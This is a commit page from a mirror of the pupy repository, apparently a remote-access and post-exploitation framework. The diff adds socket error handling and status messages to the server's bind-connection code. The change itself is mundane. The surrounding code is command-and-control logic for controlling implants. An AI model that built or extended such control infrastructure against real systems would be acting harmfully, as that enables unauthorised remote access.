mirror of https://github.com/n1nj4sec/pupy.git
Write nice messages about connection status
This commit is contained in:
parent
288aa030bf
commit
fbfb9c966f
|
@ -35,6 +35,7 @@ import marshal
|
||||||
import network.conf
|
import network.conf
|
||||||
import rpyc
|
import rpyc
|
||||||
import shlex
|
import shlex
|
||||||
|
import socket
|
||||||
|
|
||||||
try:
|
try:
|
||||||
import ConfigParser as configparser
|
import ConfigParser as configparser
|
||||||
|
@ -270,8 +271,14 @@ class PupyServer(threading.Thread):
|
||||||
except LauncherError as e:
|
except LauncherError as e:
|
||||||
launcher.arg_parser.print_usage()
|
launcher.arg_parser.print_usage()
|
||||||
return
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
stream=launcher.iterate().next()
|
stream=launcher.iterate().next()
|
||||||
self.handler.display_info("Connecting ...")
|
except socket.error as e:
|
||||||
|
self.handler.display_error("Couldn't connect to pupy: {}".format(e))
|
||||||
|
return
|
||||||
|
|
||||||
|
self.handler.display_success("Connected. Starting session")
|
||||||
bgsrv=PupyConnectionThread(PupyService.PupyBindService, rpyc.Channel(stream), config={})
|
bgsrv=PupyConnectionThread(PupyService.PupyBindService, rpyc.Channel(stream), config={})
|
||||||
bgsrv.start()
|
bgsrv.start()
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue